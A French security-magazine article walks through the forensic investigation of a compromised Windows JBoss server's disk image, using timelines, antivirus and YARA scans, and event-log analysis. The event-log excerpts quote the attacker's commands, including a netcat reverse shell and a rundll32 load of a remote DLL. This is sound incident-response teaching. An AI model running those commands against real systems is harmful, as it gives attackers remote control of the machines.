Investigation numérique de l’image disque d’un environnement Windows

Magazine
Marque
MISC
Numéro
112
Mois de parution
novembre 2020
Spécialité(s)


Résumé

Une investigation numérique requiert de nombreuses étapes. Celles-ci varient en fonction des données disponibles. Une des plus importantes est l’analyse de la mémoire vive (voir MISC N°111 [1]). L’analyse de la mémoire de masse, constituée des événements propres au système d’exploitation apporte de nouveaux éléments. Une fois celles-ci terminées, la corrélation des deux nous permettra de confirmer d’éventuelles hypothèses.


Body

Suite au prélèvement et à l’analyse de la mémoire vive [1], nous avions constaté de manière factuelle la présence de nombreux artefacts. Nous allons compléter cette investigation par l’analyse des prélèvements de la mémoire de masse.

1. Prélèvement et préparation des disques

Nous avons demandé à l'équipe d'administration des serveurs de mettre la machine virtuelle du serveur JBoss en pause afin d’en extraire les données. Ces prélèvements seront stockés sur un disque dur externe. Une empreinte numérique sera effectuée et les différents traitements seront réalisés sur une copie de ces prélèvements. L’objectif de cette approche est de préserver les données provenant du prélèvement initial. Il est ainsi possible de recommencer à tout moment une analyse à partir de la preuve originale.

# ls -l
total 64580008
-rwxr-xr-x 1 root root   231211008 Dec 17 2019 Windows Server 2016-000001-s001.vmdk
-rwxr-xr-x 1 root root   123535360 Dec 17 2019 Windows Server 2016-000001-s002.vmdk
..
-rwxr-xr-x 1 root root       65536 Dec 17 2019 Windows Server 2016-000001-s016.vmdk
-rwxr-xr-x 1 root root        1184 Dec 17 2019 Windows Server 2016-000001.vmdk
-rwxr-xr-x 1 root root  1369505792 Jan 16 15:01 Windows Server 2016-000002-s001.vmdk
-rwxr-xr-x 1 root root   510066688 Jan 16 15:01 Windows Server 2016-000002-s002.vmdk
..
-rwxr-xr-x 1 root root        1191 Jan 14 2020 Windows Server 2016-000002.vmdk
-rwxr-xr-x 1 root root  4294967296 Dec 17 2019 Windows Server 2016-Snapshot1.vmem
-rwxr-xr-x 1 root root     4200317 Dec 17 2019 Windows Server 2016-Snapshot1.vmsn
-rwxr-xr-x 1 root root  4294967296 Dec 17 2019 Windows Server 2016-Snapshot2.vmem
-rwxr-xr-x 1 root root     4304734 Dec 17 2019 Windows Server 2016-Snapshot2.vmsn
-rwxr-xr-x 1 root root        1286 Dec 17 2019 Windows Server 2016.vmdk
-rwxr-xr-x 1 root root         856 Dec 17 2019 Windows Server 2016.vmsd
-rwxr-xr-x 1 root root        3120 Jan 16 15:01 Windows Server 2016.vmx
-rwxr-xr-x 1 root root        3606 Dec 17 2019 Windows Server 2016.vmxf

Nous sommes en présence de nombreux fichiers au format vmdk ayant chacun leurs propres snapshots. À ce stade, il n’est pas simple d’identifier le fichier qui devra être utilisé lors de notre investigation. Nous allons pour cela utiliser le fichier « .vmx » correspondant à la configuration de la machine pour l’identifier.

# cat Windows\ Server\ 2016.vmx | grep -i vmdk
scsi0:0.fileName = "Windows Server 2016-000002.vmdk"

Dans le cas présent, c’est le fichier « Windows Server 2016-000002.vmdk » qui correspond au disque dur virtuel rattaché à la machine. Ce fichier n’est pas exploitable dans l'état actuel des choses, car il ne prend pas en compte le delta des données modifiées depuis le précédent snapshot,. Nous allons donc devoir fusionner de manière logique tous les snapshots. L'outil qemu-nbd est parfait pour cela.

# apt install qemu-utils -y
# modinfo nbd                     // Vérification du chargement du module
# modprobe nbd max-part=4         // permet de charger le module
# qemu-nbd -r -c /dev/nbd0 Windows\ Server\ 2016-000002.vmdk //monte l’image

Nous obtenons après l'exécution de ces quelques commandes un périphérique de stockage nommé /dev/nbd0 représentant le disque dur global du serveur virtuel.

Membre de la suite SleuthKit, mmls permet de lister les partitions d’un périphérique de stockage. Nous avons ainsi pu ainsi confirmer que les différentes partitions étaient désormais accessibles.

# mmls /dev/nbd0
GUID Partition Table (EFI)
Offset Sector: 0
Units are in 512-byte sectors
      Slot      Start        End          Length       Description
000: Meta       0000000000   0000000000   0000000001   Safety Table
001: -------    0000000000   0000002047   0000002048   Unallocated
002: Meta       0000000001   0000000001   0000000001   GPT Header
003: Meta       0000000002   0000000033   0000000032   Partition Table
004: 000        0000002048   0000923647   0000921600   Basic data partition
005: 001        0000923648   0001126399   0000202752   EFI system partition
006: 002        0001126400   0001159167   0000032768   Microsoft reserved partition
007: 003        0001159168   0125827071   0124667904   Basic data partition
008: -------    0125827072   0125829119   0000002048   Unallocated

Préalablement au traitement des données, nous effectuerons une première analyse au travers d’un antivirus. Les résultats nous permettront d'identifier potentiellement certains artefacts.

2. Analyse automatisée

La recherche de marqueurs nécessite que le système de fichiers soit monté. Pour nous prémunir de toutes écritures sur les « preuves », nous utilisons des bloqueurs de type TD3 Imager de la société Tableau.

# mount -t ntfs -o ro,loop,show_sys_files /dev/nbd0p4 /opt/cases

Débuter par une analyse antivirale permet de déterminer la présence éventuelle de code malveillant et de confirmer ainsi les éléments identifiés durant la première partie de notre investigation.

# apt install -y clamav
# clamscan -i -r --alert-encrypted=yes --alert-encrypted-archive=yes --alert-macros=yes --alert-encrypted-doc=yes --alert-phishing-ssl=yes --alert-phishing-cloak=yes /opt/cases
 
/opt/cases/Users/pepper.potts/Documents/WindowsPowerShell/Modules/PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1: Win.Trojan.Powershell-7007230-0 FOUND
/opt/cases/Users/pepper.potts/Documents/WindowsPowerShell/Modules/PowerSploit/Exfiltration/Get-Keystrokes.ps1: Win.Trojan.BabySharkPS1-3-7404875-2 FOUND
/opt/cases/Users/pepper.potts/Documents/WindowsPowerShell/Modules/PowerSploit/Exfiltration/Invoke-CredentialInjection.ps1: Win.Trojan.Powershell-7007230-0 FOUND
/opt/cases/Users/pepper.potts/Documents/WindowsPowerShell/Modules/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1: Txt.Malware.Agent-1811928 FOUND
/opt/cases/Windows/SysWOW64/WindowsPowerShell/v1.0/Modules/CodeExecution/Invoke-ReflectivePEInjection.ps1: Win.Trojan.Powershell-7007230-0 FOUND
/opt/cases/Windows/SysWOW64/WindowsPowerShell/v1.0/Modules/Exfiltration/Invoke-CredentialInjection.ps1: Win.Trojan.Powershell-7007230-0 FOUND

loki « Neo23x0/Loki » [2] est un outil intéressant pour compléter cette recherche en scannant les fichiers du système de fichiers à la recherche de concordances avec des signatures YARA et des hashs de fichiers malveillants connus.

# python loki.py -p /opt/cases -l loki-report.log --nolisten --onlyrelevant --dontwait --noprocscan
                                                                               
      __   ____ __ ______                            
     / / / __ \/ //_/ _/                            
    / /__/ /_/ / ,< _/ /                              
   /____/\____/_/|_/___/                              
      ________ _____ ____                           
     / _/ __ \/ ___/ / __/______ ____ ___ ___ ____
    _/ // /_/ / /__ _\ \/ __/ _ `/ _ \/ _ \/ -_) __/
   /___/\____/\___/ /___/\__/\_,_/_//_/_//_/\__/_/    
 
   Copyright by Florian Roth, Released under the GNU General Public License
   Version 0.30.6
  
   DISCLAIMER - USE AT YOUR OWN RISK
   Please report false positives via https://github.com/Neo23x0/Loki/issues
                                                                                
 
[WARNING]
FILE: /opt/cases/$Recycle.Bin/S-1-5-21-1925453414-1567307629-139598853-500/$RNU9V8B.Final/jboss-6.1.0.Final/server/default/deploy/jexws4.war SCORE: 70 TYPE: ZIP SIZE: 1448
FIRST_BYTES: 504b030414000808080005bc5e49000000000000 / PK^I
MD5: a15bf7dd4169069c70ba2f4ee1c62b03
SHA256: 6290bc3971050a7634de9ba4c38de9e575e4d04117a38b1680140f19b91cf58d CREATED: Thu Jan 16 13:24:21 2020 MODIFIED: Tue Dec 17 09:52:01 2019 ACCESSED: Tue Dec 17 09:52:01 2019   
REASON_1: Yara Rule MATCH: WebShell_JexBoss_WAR_1 SUBSCORE: 70                                                                                                                     
DESCRIPTION: Detects JexBoss versions in WAR form REF: Internal Research                                                                                                           
MATCHES: Str1: jexws4.jsp Str2: jexws4.jspPK   ..
[ALERT]                                                                                                                                                                         
FILE: /opt/cases/Windows/SysWOW64/WindowsPowerShell/v1.0/Modules/Privesc/PowerUp.ps1 SCORE: 120 TYPE: UNKNOWN SIZE: 562841                                                      
FIRST_BYTES: 3c230a20202020506f77657255702061696d7320 / <#    PowerUp aims                                                                                                      
MD5: 711ca55ca8d9ba4f776ce052417fd98f                                                                                                                                           
SHA256: adb95f911e9a1234903451339bb446631284c7cccf7359ceb6696f472d48479a CREATED: Thu Jan 16 14:46:40 2020 MODIFIED: Thu Jan 16 14:46:40 2020 ACCESSED: Thu Jan 16 14:46:40 2020                                                                                                                                                                                
REASON_1: Yara Rule MATCH: Base64_encoded_Executable SUBSCORE: 40                                                                                                               
DESCRIPTION: Detects an base64 encoded executable (often embedded) REF: -                                                                                                       
MATCHES: Str1: TVqQAAMAAAAEAAAA//8AALgAAAA                                                                                                                                      
REASON_2: Yara Rule MATCH: ps1_toolkit_PowerUp SUBSCORE: 80                                                                                                                     
DESCRIPTION: Auto-generated rule - file PowerUp.ps1 REF: https://github.com/vysec/ps1-toolkit                                                                                   
MATCHES: Str1: C:\\Windows\\System32\\InetSRV\\appcmd.exe list vdir /text:physicalpath | Str2: if (Test-Path ("$Env:SystemRoot\\System32\\inetsrv\ ... (truncated)            
..
[WARNING]                                                                                                                                                                       
FILE: /opt/cases/Windows/Temp/PowerSploit.psd1 SCORE: 70 TYPE: UNKNOWN SIZE: 5275                                                                                               
FIRST_BYTES: 407b0a2320536372697074206d6f64756c65206f / @{# Script module o                                                                                                     
MD5: 19e2b0464dd8cf0d117a54c08c0a615f                                                                                                                                                                                                                                                                        
SHA256: 5d71bd04bcf904cb92871e08d3f87af566216afc366dccc8838d0c9ddd8eb96d CREATED: Thu Jan 16 14:45:37 2020 MODIFIED: Thu Jan 16 14:45:37 2020 ACCESSED: Thu Jan 16 14:45:37 2020                                                                                                                                                                                
REASON_1: Yara Rule MATCH: Hacktool_Strings_p0wnedShell SUBSCORE: 70                                                                                                            
DESCRIPTION: p0wnedShell Runspace Post Exploitation Toolkit - file p0wnedShell.cs REF: https://github.com/Cn33liz/p0wnedShell                                                   
MATCHES: Str1: Invoke-TokenManipulation Str2: Invoke-Mimikatz Str3: Invoke-ReflectivePEInjection 

Cette première analyse confirme les éléments observés lors de l’analyse de la RAM [1].

Nous pourrons également partir de ce constat pour limiter les traitements à une période restreinte.

3. Timeline

La timeline apporte une vision temporelle et factuelle des événements. Il est primordial de la générer assez tôt, car le processus peut prendre un certain temps. Chacun des résultats de l’investigation y sera ensuite confronté.

3.1 Génération à partir de l'outil « fls »

L'outil fls fait partie de la suite Sleuthkit. Il s'agit d'un outil très efficace et reconnu pour sa rapidité de traitement. Il permet à un analyste d'obtenir à partir de l'analyse de la MFT une timeline des événements passés sur le système de fichiers, et cela en quelques secondes. Nous le combinons avec mactime afin d’obtenir une meilleure lisibilité.

# fls -a -h -p -r -m / /dev/nbd0p4 > partition_systeme_exploitation.body
# mactime -d -b partition_systeme_exploitation.body > partition_systeme_exploitation—timeline.csv
 
# cat partition_systeme_exploitation—timeline.csv
Date,Size,Type,Mode,UID,GID,Meta,File Name
Mon Jan 01 2001 01:00:00,24764,...b,r/rrwxrwxrwx,0,0,104706-128-3,"/Windows/SoftwareDistribution/SLS/9482F4B4-E343-43B6-B170-9A65BC822C77/sls.cab"
Mon Jan 01 2001 01:00:00,30073,...b,r/rrwxrwxrwx,0,0,105616-128-3,"/Windows/SoftwareDistribution/SLS/855E8A7C-ECB4-4CA3-B045-1DFA50104289/sls.cab"
Sun Aug 09 2009 00:19:52,16190,.a.b,r/rrwxrwxrwx,0,0,110325-128-4,"/$Recycle.Bin/S-1-5-21-1925453414-1567307629-139598853-500/$RNU9V8B.Final/jboss-6.1.0.Final/server/all/conf/

3.2 Génération à partir de l'outil « Log2timeline »

log2timeline va plus loin que l'outil fls. Il analyse le contenu de chacun des fichiers identifiés pour en extraire le maximum d'informations. Il procède ainsi à l’extraction des différents artefacts des données présentes sur le disque dur et les stocke dans une base de données SQLite.

# log2timeline.py -f /mnt/hgfs/filter_windows.txt -z UTC --volumes all --partitions all --no_dependencies_check vm_server.plaso /dev/nbd0

Pour diminuer drastiquement le temps de génération de la timeline, nous avons appliqué des filtres [3] sur les fichiers à analyser. Ces filtres sont écrits sous la forme d’expressions régulières, comme le montre l’illustration ci-dessous.

# Filter file for log2timeline for triaging Windows systems.
 
/[$]MFT
/[$]LogFile
/[$]Extend/$UsnJrnl
# Recycle Bin and Recycler.
/[$]Recycle.Bin
/[$]Recycle.Bin/.+
/[$]Recycle.Bin/.+/.+
/RECYCLER
/RECYCLER/.+
/RECYCLER/.+/.+
# Windows Registry files.
/(Users|Documents And Settings)/.+/NTUSER[.]DAT
/Users/.+/AppData/Local/Microsoft/Windows/Usrclass[.]dat
/Documents And Settings/.+/Local Settings/Application Data/Microsoft/Windows/Usrclass[.]dat
{systemroot}/System32/config/(SAM|SOFTWARE|SECURITY|SYSTEM)

Cette base de données est ensuite parcourue par l’outil psort qui va exporter les événements dans différents formats tels que CSV, JSON ou bien directement vers le moteur de recherche Elasticsearch. C’est ce dernier que nous avons utilisé. Il s’agit d’un moteur de recherche/base de données permettant d’effectuer rapidement des requêtes sur un volume conséquent de données. La suite ELK a pour avantage de fournir Kibana, un outil offrant un langage de requête (KQL) ainsi qu’une interface de visualisation des données.

# psort.py -z UTC -o csv --data . vm_server.plaso -w vm_server.csv
# psort.py -z UTC -o elastic --server 127.0.0.1 --port 9200 --flush_interval 50 --raw_fields --index_name timeline-psort vm_server.plaso

Il faut prêter une attention toute particulière au paramètre -z qui indique l’utilisation d’un fuseau horaire spécifique pour l’enregistrement des résultats. Le fuseau horaire UTC est celui à privilégier pour l’ensemble des traitements à effectuer. Un décalage entre les faits et la réalité pourra avoir de sérieuses répercussions sur le déroulé des faits.

Il est également possible de diminuer le temps de traitement en filtrant les données lors de la génération de la timeline en spécifiant une date de début présumée ainsi qu’une date de fin correspondant à une période durant laquelle l’attaque aurait eu lieu.

# psort.py -z UTC -w vm_server.csv vm_server.plaso "date > '2020-01-15 00:00:00' AND date < '2020-01-17 23:59:59'"

Cela est cependant risqué, car des évènements connexes risqueraient d’être oubliés. La timeline générée sera utilisée dans les sections suivantes.

4. Analyse manuelle ou la recherche d’artefacts

Par artefacts, comprendre tout élément résultant de l’action d’un humain sur un système d’information. Dans les bonnes pratiques, il est recommandé d’analyser aussi bien la base de registre que la MFT. Dans le cas présent et au regard des éléments trouvés jusque-là, nous avons volontairement passé cette étape pour rester dans le format attendu.

L'outil RegRippy, développé par le CERT d’Airbus, peut également s'avérer très utile pour convertir le contenu d’une ruche de base de registre au format plain/text.

# regrip.py --system SYSTEM --software SOFTWARE --sam SAM --ntuser NTUSER_pepper.potts.dsstark.DAT services > registry_services

Voici un exemple de commande qui aurait permis de mettre en évidence des services exécutant du powershell, ou des binaires présents dans des répertoires d'utilisateurs et des répertoires temporaires.

# cat registry_services |egrep -i '(user\\|temp\\|tmp\\|cmd.exe|cmd |powershell)'

Aucun résultat utile durant notre investigation.

LogonTracer [4] développé par le CERT JAPAN, est également un outil très intéressant. Il permet d’effectuer une visualisation sous forme de graphe des authentifications de comptes utilisateurs à partir des fichiers evtx du système d’exploitation.

Il est ainsi possible de visualiser :

  • les authentifications ayant des privilèges élevés ;
  • les authentifications d’utilisateurs à travers le réseau ;
  • les connexions RDP ;
  • l’ajout et suppression de comptes utilisateur.

L’outil LogonTracer a été d’une grande aide durant notre investigation mettant ainsi en évidence une attaque par « DCSync » [5] sur le serveur Active Directory, ainsi qu’un mouvement latéral de type « PassThehash » permettant à l’attaquant d’exécuter des commandes en tant que « pepper.potts ». Ces éléments concernent le serveur AD qui n’est pas détaillé ici afin de respecter le format MISC, mais ces derniers seront précisés dans la conclusion afin de présenter l’investigation dans sa globalité.

4.1 Extraction des fichiers suspects

Nous avons recensé certains des fichiers pouvant être en lien avec l’attaque subie. L’étape suivante consiste à les extraire grâce aux outils de la suite sleuthkit fls et icat afin de les soumettre à notre équipe de rétro-ingénierie. Nous retrouvons ainsi la création de la charge « jexws4.war » à l’origine de l’attaque, ainsi que celle des outils powershell exploités.

# cat partition_systeme_exploitation.body | grep -i ‘jexws4.war’a15bf7…b03|/Users/Administrator/Documents/jboss-as-distribution-6.1.0.Final/jboss-6.1.0.Final/server/default/tmp/deploy/tmp2574..jexws4.war|121791-128-4|r/rrwxrwxrxw|0|0|1448|1579181070|1579181070|1579181070|1579181070
..# icat /dev/nbd0p4 121791-128-4 > jexws4.war
 
# cat partition_systeme_exploitation.body | grep -i ‘powerup.ps1’8d58652...1574|/Users/peppers.potts/Documents/WindowsPowershell/Modules/PowerSploit/Privesc/PowerUp.ps1|125920-128-3|r/rrwxrwxrwx|0|0|495329|1579182679|1579182679|1579182679|1579182679..# icat /dev/nbd0p4 125920-128-3 > PowerUp.ps1

À ce point de l’analyse, nous avons pu corroborer les éléments identifiés lors de l’analyse de la mémoire vive [1] tels que l’origine attaque et le mode opératoire. Nous allons ensuite nous appuyer sur les eventID caractéristiques au contexte qui nous intéresse.

4.2 Analyse avancée des journaux d’évènements EVTX

Nous utilisons la bibliothèque libevtx-utils qui convertit les fichiers évènements de Windows (evt/evtx) en fichier texte.

# apt install -y libevtx-utils
# evtxexport Security.evtx > security_evtx_export.txt
# evtxexport Application.evtx > application_evtx_export.txt
# evtxexport System.evtx > system_evtx_export.txt

Une fois cela effectué, nous recherchons des indicateurs tels que powershell.exe, cmd.exe… : 

# cat *_evtx_* | egrep -i '(powershell|cmd.exe|cmd\ )'
String: 9           : nc64.exe -e powershell 192.168.205.180 443
String: 9           : "cmd.exe" /C uname -a
String: 9           : "cmd.exe" /C cat /etc/issue
String: 9           : "cmd.exe" /C id
String: 9           : "cmd.exe" /C rundll32.exe \\192.168.205.180\XzmKO\inject.dll,0
String: 6           : cmd.exe /c echo vebiob > \\.\pipe\vebiob
String: 2           : cmd.exe /c echo mwrskv > \\.\pipe\mwrskv

Nous pouvons visualiser sur la première ligne que la commande netcat a donné un accès distant powershell à l’adresse IP 192.168.205.180. Désactivée par défaut, la journalisation de l’exécution de commandes peut être activée via une configuration de stratégie de groupe [6]. Il en est de même avec la journalisation de blocs de scripts PowerShell [7].

Le contenu de l’événement nous permet d’obtenir un peu plus de précision quant à l’exécution de cette commande.

Written time         : Jan 16, 2020 14:05:13.301145300 UTC
Computer name        : WEB1.stark.local
Source name          : Microsoft-Windows-Security-Auditing
Event identifier     : 0x00001250 (4688)
Number of strings    : 15
String: 1            : S-1-5-18
String: 2            : WEB1$
String: 3            : DSSTARK
String: 6            : C:\Windows\Temp\nc64.exe
String: 9            : nc64.exe -e powershell 192.168.205.180 443
String: 14           : C:\Windows\System32\cmd.exe

Nous constatons également le chargement d’une DLL distante à travers l’exécution de l’exécutable rundll32.exe. L’événement nous a permis de contextualiser un peu plus le mode opératoire de l’attaquant.

Nous constatons à nouveau le chargement d’une DLL distante à travers l’exécution du binaire rundll32.exe déjà identifié lors de l’analyse de la mémoire vive.

Written time         : Jan 16, 2020 13:24:57.438420800 UTC
Computer name        : WEB1.stark.local
Source name          : Microsoft-Windows-Security-Auditing
Event identifier     : 0x00001250 (4688)
Number of strings    : 15
String: 1            : S-1-5-21-1925453414-1567307629-139598853-500
String: 2            : Administrator
String: 3            : WEB1
String: 6            : C:\Windows\SysWOW64\cmd.exe
String: 9            : "cmd.exe" /C rundll32.exe \\192.168.205.180\XzmKO\inject.dll,0
String: 14           : C:\Program Files (x86)\Java\jre6\bin\java.exe

Les événements Windows contiennent un historique de la plupart des actions menées sur le système. Une analyse rapide a confirmé les résultats obtenus jusqu’à présent.

Voici une liste non exhaustive d’événements utiles à rechercher aussi bien dans un système de détection que lors d’une investigation numérique.

Description

EventID

Level

EventLog

EventSource

Suppression des événements (EVTx)

104

Information

System

Microsoft-Windows-Eventlog

Virus détecté

1006

Warning

Microsoft-Windows-WindowsDefender/Operational

Microsoft-Windows-Windows-Defender

Suppression des événements d’audit

1102

Information

Security

Microsoft-Windows-Eventlog

Ajout d’un nouveau service

7045

Information

System

Service Control Manager

Certains évènements sont plus importants que d’autres. Une investigation approfondie de ces éléments peut aider à mieux comprendre le cheminement d’une attaque. De nombreux référentiels fournis par des agences étatiques reconnues telles que l’ANSSI [8] et la NSA [9] sont intéressants :

Il est d’ailleurs possible d’identifier tous mouvements latéraux de type « pass-the-hash » via l’analyse des événements systèmes.

Event ID

Log

Level

LogonType

Authentication Package Name

4624

Security

Information

3

NTLM

Nous nous sommes basés sur l’export des événements réalisés grâce à l’outil evtxexport en filtrant sur l’Event ID 4624, ayant pour LogonType 3. La valeur correspondant au champ LogonType permet d’identifier avec précision la méthode utilisée par un utilisateur pour s’authentifier sur un système. Elle peut être interactive (directement face à la machine), dans ce cas, nous aurions obtenu un LogonType 2. Dans le cas présent, le LogonType 3 correspond à une authentification à travers le réseau. Le dernier critère recherché est une authentification NTLM ne provenant pas du compte « ANONYMOUS LOGON ». Nous trouvons ainsi un mouvement latéral effectué sur le compte de « pepper.potts ».

# cat security_evtx_export.txt | grep -e 'String: 9.*: 3' -B 20 -A 5 | grep -ie 'String: 11.*: NTLM' -A 3 -B18
 
Event number         : 30159
Written time         : Jan 16, 2020 13:56:12.965633200 UTC
Event level          : Information (0)
Computer name        : WEB1.stark.local
Source name          : Microsoft-Windows-Security-Auditing
Event identifier     : 0x00001210 (4624)
String: 5            : S-1-5-21-3258048282-891531348-4090557321-1104
String: 6            : pepper.potts
String: 7            : DSSTARK
String: 9            : 3
String: 10           : NtLmSsp
String: 11           : NTLM
String: 12           : kali

Conclusion

L’analyse des données du périphérique de stockage effectuée ci-dessus a mis en évidence des événements majeurs. Nous avons ainsi pu corroborer de nombreux éléments déjà identifiés lors de l’analyse de la mémoire vive décrite dans la dernière publication de MISC. Il est désormais possible d’affirmer que l’intrusion a eu lieu suite à l’exploitation d’une vulnérabilité du serveur JBoss ainsi qu’au déploiement d’un outil d’exécution de commande à distance « JexBoss ». Une fois présente sur le système, la personne malveillante a chargé une bibliothèque de liens dynamiques « Dll » lui permettant d’interagir plus facilement sur le système à travers l’interpréteur Windows PowerShell et les outils PowerSploit et PowerUp. Ce dernier est notamment connu pour permettre à un attaquant de tenter d’élever les privilèges de l’utilisateur courant. Cet usage a notamment été relevé à travers l’analyse des journaux d’événements du système d’exploitation et leur corrélation au sein de l’outil LogonTracer.

La méthodologie d'investigation numérique présentée ci-dessus a été appliquée à l’intégralité de l’architecture impactée de notre client, dont notamment un Active Directory. Les résultats obtenus ont été repris en infographie et, vous pourrez le constater, nous permettent de visualiser avec plus de précision le schéma d’attaque.

image-1-timeline-s

L’analyse des données provenant des systèmes de stockage de masse est une étape longue et coûteuse en termes de temps et de ressources. La génération de la timeline prend généralement plusieurs heures. Nous avons dans le cas présent utilisé un filtre, car de nombreux éléments nous ont conduits dans une certaine direction, mais bien que le gain de temps ne soit pas négligeable, il faut garder à l’esprit que cette démarche peut nous faire passer à côté de quelque chose d’important.

Références

[1] https://connect.ed-diamond.com/MISC/MISC-111/Retour-d-experience-investigation-numerique-dans-un-environnement-Windows

[2] https://github.com/Neo23x0/Loki

[3] https://github.com/log2timeline/plaso/blob/master/data/filter_windows.txt

[4] https://github.com/JPCERTCC/LogonTracer

[5] https://attack.mitre.org/techniques/T1003/006/

[6] https://docs.microsoft.com/fr-fr/windows-server/identity/ad-ds/manage/component-updates/command-line-process-auditing

[7] https://docs.microsoft.com/fr-fr/powershell/scripting/windows-powershell/wmf/whats-new/script-logging?view=powershell-7

[8] ANSSI : Agence Nationale de la Sécurité des Systèmes d’Information

[9] NSA : National Security Agency



Article rédigé par

Par le(s) même(s) auteur(s)

SOC - Stratégie de détection

Magazine
Marque
MISC
Numéro
120
Mois de parution
mars 2022
Spécialité(s)
Résumé

Ces dernières années ont été le témoin d'une recrudescence d'attaques informatiques avec des victimes de plus en plus nombreuses, et des impacts financiers tout aussi conséquents. Une chose est sûre, nos données valent de l'argent et il faut les protéger. Il est donc indispensable d’opter pour une stratégie de détection à la hauteur de leur valeur.

Retour d’expérience : investigation numérique dans un environnement Windows

Magazine
Marque
MISC
Numéro
111
Mois de parution
septembre 2020
Spécialité(s)
Résumé

L’investigation numérique d’un système d’information (SI) consiste à comprendre d’un point de vue temporel et factuel les évènements ayant conduit à l’incident. Bien que les SI présentent une architecture bien souvent commune, les interventions sont toutes différentes et mettent en lumière l’ingéniosité des attaquants afin d’œuvrer de la manière la plus discrète possible. Nous allons présenter au cours de cet article, notre retour d’expérience relatif à une intervention auprès d’un client début 2020.

Les derniers articles Premiums

Les derniers articles Premium

De la scytale au bit quantique : l’avenir de la cryptographie

Magazine
Marque
Contenu Premium
Spécialité(s)
Résumé

Imaginez un monde où nos données seraient aussi insaisissables que le célèbre chat de Schrödinger : à la fois sécurisées et non sécurisées jusqu'à ce qu'un cryptographe quantique décide d’y jeter un œil. Cet article nous emmène dans les méandres de la cryptographie quantique, où la physique quantique n'est pas seulement une affaire de laboratoires, mais la clé d'un futur numérique très sécurisé. Entre principes quantiques mystérieux, défis techniques, et applications pratiques, nous allons découvrir comment cette technologie s'apprête à encoder nos données dans une dimension où même les meilleurs cryptographes n’y pourraient rien faire.

Les nouvelles menaces liées à l’intelligence artificielle

Magazine
Marque
Contenu Premium
Spécialité(s)
Résumé

Sommes-nous proches de la singularité technologique ? Peu probable. Même si l’intelligence artificielle a fait un bond ces dernières années (elle est étudiée depuis des dizaines d’années), nous sommes loin d’en perdre le contrôle. Et pourtant, une partie de l’utilisation de l’intelligence artificielle échappe aux analystes. Eh oui ! Comme tout système, elle est utilisée par des acteurs malveillants essayant d’en tirer profit pécuniairement. Cet article met en exergue quelques-unes des applications de l’intelligence artificielle par des acteurs malveillants et décrit succinctement comment parer à leurs attaques.

Migration d’une collection Ansible à l’aide de fqcn_migration

Magazine
Marque
Contenu Premium
Spécialité(s)
Résumé

Distribuer du contenu Ansible réutilisable (rôle, playbooks) par l’intermédiaire d’une collection est devenu le standard dans l’écosystème de l’outil d’automatisation. Pour éviter tout conflit de noms, ces collections sont caractérisées par un nom unique, formé d’une espace de nom, qui peut-être employé par plusieurs collections (tel qu'ansible ou community) et d’un nom plus spécifique à la fonction de la collection en elle-même. Cependant, il arrive parfois qu’il faille migrer une collection d’un espace de noms à un autre, par exemple une collection personnelle ou communautaire qui passe à un espace de noms plus connus ou certifiés. De même, le nom même de la collection peut être amené à changer, si elle dépasse son périmètre d’origine ou que le produit qu’elle concerne est lui-même renommé.

Les listes de lecture

11 article(s) - ajoutée le 01/07/2020
Clé de voûte d'une infrastructure Windows, Active Directory est l'une des cibles les plus appréciées des attaquants. Les articles regroupés dans cette liste vous permettront de découvrir l'état de la menace, les attaques et, bien sûr, les contre-mesures.
8 article(s) - ajoutée le 13/10/2020
Découvrez les méthodologies d'analyse de la sécurité des terminaux mobiles au travers d'exemples concrets sur Android et iOS.
10 article(s) - ajoutée le 13/10/2020
Vous retrouverez ici un ensemble d'articles sur les usages contemporains de la cryptographie (whitebox, courbes elliptiques, embarqué, post-quantique), qu'il s'agisse de rechercher des vulnérabilités ou simplement comprendre les fondamentaux du domaine.
Voir les 66 listes de lecture

Abonnez-vous maintenant

et profitez de tous les contenus en illimité

Je découvre les offres

Déjà abonné ? Connectez-vous